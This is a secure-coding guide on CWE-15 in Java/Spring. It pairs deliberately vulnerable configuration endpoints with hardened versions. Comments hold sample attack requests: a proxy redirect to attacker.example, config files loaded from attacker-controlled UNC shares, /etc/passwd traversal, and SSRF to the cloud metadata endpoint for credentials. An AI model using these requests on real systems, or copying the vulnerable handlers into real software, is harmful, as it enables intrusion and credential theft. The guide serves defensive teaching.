CWE-15: External Control of System or Configuration Setting - Java
Overview
External control of configuration in Java applications occurs when HTTP request parameters, headers, or body values are used to directly modify system properties, application configuration objects, logging settings, or environment-equivalent state at runtime. Attackers can exploit this to disable security logging, redirect API calls to attacker-controlled servers, enable debug mode to expose secrets, or cause denial of service.
Common Java Configuration Injection Scenarios:
System.setProperty(userInput, userValue)- modifies JVM-wide system propertiesconn.setCatalog(request.getParameter("catalog"))- switches active database/schema (MITRE canonical example)- Assigning
request.getParameter(key)directly to a configuration object - Setting log level (SLF4J/Logback) from request parameters
- Setting network timeouts (
setConnectTimeout,setReadTimeout) from request parameters - Loading properties files from user-controlled paths
Primary Defence: Set configuration at application startup via @ConfigurationProperties with JSR-303 validation annotations. Any runtime configuration endpoint must authenticate and authorize the caller and constrain values to an explicit allowlist.
Common Vulnerable Patterns
Direct System Property Modification
// VULNERABLE - User controls JVM system properties
@PostMapping("/admin/config")
public ResponseEntity<String> setConfig(
@RequestParam String key,
@RequestParam String value) {
System.setProperty(key, value); // Attacker sets "https.proxyHost=attacker.example"
return ResponseEntity.ok("Updated");
}
// Attack example:
// POST /admin/config?key=https.proxyHost&value=attacker.example
// POST /admin/config?key=https.proxyPort&value=8080
// Result: the default ProxySelector re-reads these on every selection, so the next
// HttpURLConnection or java.net.http.HttpClient call - including ones carrying API
// credentials - is routed through the attacker's proxy
Why this is vulnerable: System.setProperty() writes into a JVM-wide map, and the effect on a
running application depends entirely on when the reader consults it. Properties read per-operation
change behaviour immediately: sun.net.spi.DefaultProxySelector re-reads http.proxyHost,
https.proxyHost and http.nonProxyHosts on every proxy selection, so a single request can
redirect outbound HTTP traffic - including calls carrying credentials - to a host the attacker
controls.
Most security-relevant properties are not read that way, and a finding that assumes they are will not survive review. The three most often reached for are all fixed at initialisation and ignore a later write:
jdk.serialFilteris applied whileObjectInputFilter.Configinitialises. Its javadoc says plainly that "setting thejdk.serialFilterwithSystem.setPropertydoes not set the filter" - only-Djdk.serialFilterat launch or thejdk.serialFiltersecurity property configures it. A runtime write leavesConfig.getSerialFilter()null and newObjectInputStreams unfiltered, so it neither opens nor closes a deserialization exposure.com.sun.jndi.ldap.object.trustSerialData, and thetrustURLCodebaseproperties beside it, backprivate static finalfields read when their class initialises.javax.net.ssl.trustStoreis consumed when the defaultSSLContextand its trust manager are built - once, lazily, on first TLS use. Setting it later changes nothing, and pointing it at a path that does not exist silently falls back to the JDK'scacerts. Pointing it at a keystore that does exist replaces the trust anchors rather than disabling validation, which breaks connections to legitimate hosts unless the attacker has also planted their own CA in that file.
An arbitrary System.setProperty() is still worth fixing - it is a write primitive over every
property in the JVM, and the ones that are re-read are enough on their own. Do not extend the
impact past this process, though. The write lands in an in-memory Properties object: it does not
outlive the JVM, and unlike an environment variable it is not inherited, so a child JVM started
afterwards reads null for anything set this way. Reaching the initialise-once properties takes a
different weakness - control of the -D flags or JAVA_TOOL_OPTIONS at launch, or write access to
the JDK's java.security file - and this endpoint provides none of them.
Arbitrary Config Map Key from Request
// VULNERABLE - Any config key overwritable from request parameters
@PostMapping("/settings")
public ResponseEntity<String> updateSetting(
@RequestParam String setting,
@RequestParam String value) {
appConfig.put(setting, value); // Attacker sets "auth.bypass=true"
return ResponseEntity.ok("Setting updated");
}
// Attack example:
// POST /settings?setting=security.checks.enabled&value=false
// Result: Disables security checks across the application
Why this is vulnerable: The handler accepts any key name, so every entry in the configuration map is writable from a request - including security-critical settings such as security.checks.enabled that were never meant to be user-controlled.
Log Level Set from Request Parameter
// VULNERABLE - Log level controllable by any user
@GetMapping("/debug/setLogLevel")
public ResponseEntity<String> setLogLevel(@RequestParam String level) {
LoggerContext context = (LoggerContext) LoggerFactory.getILoggerFactory();
Logger root = context.getLogger("ROOT");
root.setLevel(Level.valueOf(level)); // Attacker sets DEBUG to expose secrets in logs
return ResponseEntity.ok("Log level set to: " + level);
}
// Attack example:
// GET /debug/setLogLevel?level=DEBUG
// Result: Passwords, tokens, PII now logged to application log files
// GET /debug/setLogLevel?level=OFF
// Result: All security events silenced
Why this is vulnerable: Log level control without authorization lets an attacker both extract sensitive data (by enabling DEBUG) and cover their tracks (by setting the level to OFF or ERROR, which silences the audit trail).
Properties File Loaded from User-Controlled Path
// VULNERABLE - Config file path specified by request parameter
@PostMapping("/load-config")
public ResponseEntity<String> loadConfig(@RequestParam String configPath) throws IOException {
Properties props = new Properties();
props.load(new FileInputStream(configPath)); // Attacker: "//attacker.com/share/malicious.properties"
appConfig.merge(props);
return ResponseEntity.ok("Config loaded");
}
// Attack example:
// POST /load-config?configPath=//attacker.com/share/malicious.properties
// Result: Attacker-controlled config overrides security settings
Why this is vulnerable: Allowing users to specify the configuration file path enables both path traversal attacks (reading arbitrary local files as configuration) and remote configuration loading that could override security-critical settings.
Database Catalog / Schema Set from Request (MITRE Canonical Example)
// VULNERABLE - User controls which database catalog/schema is active
@GetMapping("/report")
public ResponseEntity<String> getReport(
HttpServletRequest request, Connection conn) throws SQLException {
String catalog = request.getParameter("catalog");
conn.setCatalog(catalog); // Attacker sets catalog to another tenant's database
// ... execute queries against now-switched catalog
return ResponseEntity.ok(runReport(conn));
}
// Attack example:
// GET /report?catalog=other_customer_db
// Result: Queries execute against a different tenant's database - data exfiltration
// GET /report?catalog=nonexistent
// Result: SQLException - denial of service
Why this is vulnerable: Connection.setCatalog() (and setSchema()) changes which database or schema all subsequent queries run against. Supplying another tenant's catalog name is a direct horizontal privilege escalation - the attacker reads or modifies another customer's data using the application's own credentials.
Network / Socket Timeout Set from Request
// VULNERABLE - Timeout values controlled by user input
@PostMapping("/fetch")
public ResponseEntity<String> fetchData(
@RequestParam String url,
@RequestParam int timeoutMs) throws IOException {
HttpURLConnection conn = (HttpURLConnection) new URL(url).openConnection();
conn.setConnectTimeout(timeoutMs); // Attacker sets 0 (infinite) or Integer.MAX_VALUE
conn.setReadTimeout(timeoutMs);
// ...
return ResponseEntity.ok(readResponse(conn));
}
// Attack example:
// POST /fetch?url=https://slow-server.com&timeoutMs=0
// Result: Thread blocks indefinitely - denial of service / thread pool exhaustion
Why this is vulnerable: Setting timeoutMs=0 means the connection never times out. An attacker sends many requests with zero timeouts against a slow or unresponsive target, exhausting the application's thread pool and causing denial of service for all users.
Secure Patterns
Immutable Startup Configuration with @ConfigurationProperties (PREFERRED)
// SECURE - Immutable config bound by constructor and validated at startup only
import jakarta.validation.constraints.Max;
import jakarta.validation.constraints.Min;
import jakarta.validation.constraints.NotEmpty;
import jakarta.validation.constraints.Pattern;
import org.springframework.boot.context.properties.ConfigurationProperties;
import org.springframework.boot.context.properties.bind.DefaultValue;
import org.springframework.validation.annotation.Validated;
@ConfigurationProperties(prefix = "app")
@Validated
public record AppConfig(
@Pattern(regexp = "^(INFO|WARN|ERROR)$", message = "logLevel must be INFO, WARN, or ERROR")
@DefaultValue("INFO") String logLevel,
@Min(1) @Max(120)
@DefaultValue("30") int sessionTimeoutMinutes,
@NotEmpty String allowedOrigins) {
}
// Register it - @EnableConfigurationProperties on a @Configuration class, or
// @ConfigurationPropertiesScan on the application class
@SpringBootApplication
@EnableConfigurationProperties(AppConfig.class)
public class Application { /* ... */ }
# application.yml - configuration defined here, not from HTTP requests
app:
log-level: INFO
session-timeout-minutes: 30
allowed-origins: https://example.com
Why this works: @ConfigurationProperties binds values from
application.yml/application.properties at startup only. Jakarta Bean Validation annotations
(@Pattern, @Min, @Max) are enforced by Spring's validation infrastructure, so
app.log-level: DEBUG in the YAML fails the context refresh with
Reason: logLevel must be INFO, WARN, or ERROR rather than starting with a bad value. A record
has final components and no setters, so nothing can rewrite the values once the context is up.
The record is doing real work here, not just saving lines. Spring Boot binds a
@ConfigurationProperties type one of two ways: constructor binding, used when the type has a
single parameterized constructor (which every record has), or JavaBean binding, used otherwise -
and JavaBean binding writes through setters. A plain class with getters but no setters gets the
second path and fails at startup with No setter found for property: allowed-origins, so
"getters only" is not a way to make a bound properties class immutable. @DefaultValue supplies
the fallback that a field initialiser would have provided.
Allowlist-Validated Runtime Log Level Change
// SECURE - Admin-only endpoint with explicit allowlist
private static final Set<String> ALLOWED_LOG_LEVELS = Set.of("INFO", "WARN", "ERROR");
@PostMapping("/admin/log-level")
@PreAuthorize("hasRole('ADMIN')")
public ResponseEntity<String> setLogLevel(@RequestParam String level) {
if (!ALLOWED_LOG_LEVELS.contains(level.toUpperCase())) {
return ResponseEntity.badRequest()
.body("Invalid log level. Allowed: " + ALLOWED_LOG_LEVELS);
}
LoggerContext context = (LoggerContext) LoggerFactory.getILoggerFactory();
context.getLogger("ROOT").setLevel(Level.valueOf(level.toUpperCase()));
log.info("Log level changed to {} by {}", level,
SecurityContextHolder.getContext().getAuthentication().getName());
return ResponseEntity.ok("Log level updated");
}
Why this works: The ALLOWED_LOG_LEVELS set defines the exact values that are accepted - values like DEBUG or TRACE that could expose sensitive data, or OFF that silences the audit trail, are rejected before reaching the logging framework. @PreAuthorize("hasRole('ADMIN')") prevents non-admin users from reaching this endpoint at all. Audit logging records who made the change.
Safe Database Catalog Selection
// SECURE - Catalog name validated against allowlist of permitted databases
private static final Set<String> ALLOWED_CATALOGS = Set.of("reports_db", "archive_db");
@GetMapping("/report")
@PreAuthorize("hasRole('USER')")
public ResponseEntity<String> getReport(
@RequestParam String catalog, Connection conn) throws SQLException {
if (!ALLOWED_CATALOGS.contains(catalog)) {
return ResponseEntity.badRequest().body("Invalid catalog");
}
conn.setCatalog(catalog);
return ResponseEntity.ok(runReport(conn));
}
Why this works: The ALLOWED_CATALOGS set defines exactly which databases users may query. Any name not in the set - including other tenants' databases, system catalogs, or nonexistent names - is rejected before setCatalog() is called.
Safe Network Timeout Configuration
import java.net.URI;
// SECURE - Timeout is a hardcoded constant; user cannot influence it
private static final int CONNECT_TIMEOUT_MS = 5_000;
private static final int READ_TIMEOUT_MS = 10_000;
@PostMapping("/fetch")
public ResponseEntity<String> fetchData(@RequestParam String url) throws IOException {
// URL is validated separately; timeout is never from the request
// URI.create(...).toURL() - new URL(String) is deprecated since Java 20
HttpURLConnection conn = (HttpURLConnection) URI.create(url).toURL().openConnection();
conn.setConnectTimeout(CONNECT_TIMEOUT_MS);
conn.setReadTimeout(READ_TIMEOUT_MS);
return ResponseEntity.ok(readResponse(conn));
}
Why this works: Timeout values are compile-time constants - no request parameter, header, or body field can change them. If a timeout must be configurable, bind it as a validated @ConfigurationProperties field with @Min(1) @Max(30000) rather than accepting it from the HTTP request.
Enum-Based Configuration Selection
// SECURE - Spring MVC rejects any value not in the enum automatically
public enum LogLevel { INFO, WARN, ERROR }
@PostMapping("/admin/config/log-level")
@PreAuthorize("hasRole('ADMIN')")
public ResponseEntity<String> setLogLevel(@RequestParam LogLevel level) {
// Spring rejects any value not in the enum before this method is called
LoggerContext context = (LoggerContext) LoggerFactory.getILoggerFactory();
context.getLogger("ROOT").setLevel(Level.valueOf(level.name()));
log.info("Log level changed to {} by {}", level,
SecurityContextHolder.getContext().getAuthentication().getName());
return ResponseEntity.ok("Log level updated to: " + level);
}
Why this works: Spring MVC automatically rejects any @RequestParam value that doesn't map to a valid enum constant, returning 400 Bad Request before the handler runs. The enum definition itself is the allowlist - adding or removing permitted values is done in one place.
Admin Config Endpoint with Double-Gated Allowlist
// SECURE - Both key name and value are allowlisted
@RestController
@RequestMapping("/api/v1/admin/config")
@PreAuthorize("hasRole('ADMIN')")
@Slf4j
public class AdminConfigController {
private static final Map<String, Set<String>> ALLOWED_VALUES = Map.of(
"timeout.session", Set.of("15", "30", "60"),
"feature.beta", Set.of("true", "false"),
"log.level", Set.of("INFO", "WARN", "ERROR")
);
@PostMapping("/{key}")
public ResponseEntity<String> updateConfig(
@PathVariable String key,
@RequestParam String value,
Principal principal) {
Set<String> allowed = ALLOWED_VALUES.get(key);
if (allowed == null) {
log.warn("Rejected unknown config key '{}' from {}", key, principal.getName());
return ResponseEntity.badRequest().body("Unknown configuration key");
}
if (!allowed.contains(value)) {
log.warn("Rejected invalid value '{}' for key '{}' from {}", value, key, principal.getName());
return ResponseEntity.badRequest().body("Invalid value. Allowed: " + allowed);
}
configService.update(key, value);
log.info("Config '{}' updated to '{}' by {}", key, value, principal.getName());
return ResponseEntity.ok("Updated");
}
}
Why this works: ALLOWED_VALUES double-gates the input: first validating that the key name is a known settable field (preventing modification of undeclared keys like security.disabled), then validating the value against that key's specific allowlist. @PreAuthorize("hasRole('ADMIN')") blocks non-admins at the Spring Security layer. All accept and reject decisions are audit-logged with the requesting user's identity.
Testing
Verify the fix by testing:
- Allowlist bypass: Submit values outside the allowlist (e.g.,
level=DEBUGwhenDEBUGis not permitted) - expect 400 rejection - Unknown key injection: Attempt to set undeclared config keys (e.g.,
security.disabled=true) - expect 400 - Authorization bypass: Call config endpoints without an admin session - expect 401/403
- System property injection: Attempt
https.proxyHostor similar JVM properties via any endpoint - must fail - Path traversal in config paths: If any config file loading exists, test with
../../etc/passwd- expect rejection
Untrusted Configuration Sources
A related attack vector occurs when the application loads configuration from a location that untrusted input controls.
Config File Loaded from User-Supplied Path (Vulnerable)
// VULNERABLE - Properties file path comes from request parameter
@PostMapping("/admin/load-config")
public ResponseEntity<String> loadConfig(@RequestParam String configPath) throws IOException {
Properties props = new Properties();
props.load(new FileInputStream(configPath));
// Attack: configPath = "../../etc/passwd" or "//attacker.com/evil.properties"
appConfig.merge(props);
return ResponseEntity.ok("Loaded");
}
// Attack example:
// POST /admin/load-config?configPath=../../etc/passwd
// Result: /etc/passwd parsed as .properties; "root:x:0:0:..." becomes key "root",
// value "x:0:0:...", and every account on the host lands in appConfig
Why this is vulnerable: FileInputStream with a user-controlled path follows ../ traversal
sequences, allowing reads from anywhere the process has permission to read. Properties.load() will
consume most of what it is given rather than rejecting it - : and = are both key/value
separators, so line-oriented system files parse without error and their contents end up in the
configuration map. On Windows, \\attacker.com\share\evil.properties causes an outbound SMB
connection that leaks NTLM credentials and loads attacker-controlled configuration.
Config File Loaded from User-Supplied Path (Secure)
// SECURE - Path hardcoded per environment; user cannot influence which file is loaded
private static final Path CONFIG_DIR = Paths.get("/var/app/configs").toAbsolutePath().normalize();
private static final Set<String> ALLOWED_FILENAMES = Set.of(
"feature-flags.properties",
"rate-limits.properties"
);
@PostMapping("/admin/load-config")
@PreAuthorize("hasRole('ADMIN')")
public ResponseEntity<String> loadConfig(@RequestParam String filename) throws IOException {
// Validate filename is an allowed name (no path separators)
if (!ALLOWED_FILENAMES.contains(filename)) {
return ResponseEntity.badRequest().body("Unknown config file");
}
// Resolve within the trusted directory and verify the result stays inside it
Path resolved = CONFIG_DIR.resolve(filename).normalize();
if (!resolved.startsWith(CONFIG_DIR)) {
return ResponseEntity.badRequest().body("Invalid path");
}
Properties props = new Properties();
try (InputStream in = Files.newInputStream(resolved)) {
props.load(in);
}
// Apply only known-safe keys from the loaded file
configService.applyAllowlisted(props);
log.info("Config file '{}' loaded by {}", filename, SecurityContextHolder
.getContext().getAuthentication().getName());
return ResponseEntity.ok("Loaded");
}
Why this works: The filename is validated against an explicit allowlist of known-safe file names before any path is constructed, so no traversal sequence can reach the file system. CONFIG_DIR.resolve(filename).normalize().startsWith(CONFIG_DIR) is a defence-in-depth check that blocks any residual traversal. Only pre-known keys are applied from the loaded properties, so an attacker who somehow supplied a crafted file cannot inject unexpected settings.
Remote Config URL Fetched at Request Time (Vulnerable)
// VULNERABLE - Application fetches config from user-supplied URL
@PostMapping("/admin/remote-config")
public ResponseEntity<String> loadRemoteConfig(@RequestParam String configUrl) throws IOException {
String content;
try (InputStream in = URI.create(configUrl).toURL().openStream()) {
content = new String(in.readAllBytes(), StandardCharsets.UTF_8);
}
// Attack: configUrl = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
parseAndApply(content);
return ResponseEntity.ok("Remote config loaded");
}
// Attack example:
// POST /admin/remote-config?configUrl=http://169.254.169.254/latest/meta-data/
// Result: AWS instance metadata fetched and applied as config (SSRF + credential theft)
Why this is vulnerable: Fetching a URL from user input is an SSRF vulnerability. In cloud environments the AWS/GCP/Azure metadata endpoint is reachable from the instance and can return IAM credentials. Internally hosted services, databases, and admin interfaces are also reachable.
Remote Config URL Fetched at Request Time (Secure)
// SECURE - Config source URL is hardcoded; user cannot influence which endpoint is called
private static final String INTERNAL_CONFIG_URL =
"https://config.internal.example.com/api/v1/app-config";
@PostMapping("/admin/refresh-config")
@PreAuthorize("hasRole('ADMIN')")
public ResponseEntity<String> refreshConfig() throws IOException {
// URL is NOT derived from any request parameter
HttpClient client = HttpClient.newHttpClient();
HttpRequest req = HttpRequest.newBuilder()
.uri(URI.create(INTERNAL_CONFIG_URL))
.header("Authorization", "Bearer " + internalTokenProvider.get())
.build();
HttpResponse<String> response = client.send(req, HttpResponse.BodyHandlers.ofString());
configService.applyFromJson(response.body());
log.info("Config refreshed from internal service by {}",
SecurityContextHolder.getContext().getAuthentication().getName());
return ResponseEntity.ok("Refreshed");
}
Why this works: The config endpoint URL is a compile-time constant - there is no code path from an HTTP request parameter to the URL used in the outbound fetch. Even an admin cannot redirect the fetch to an arbitrary host.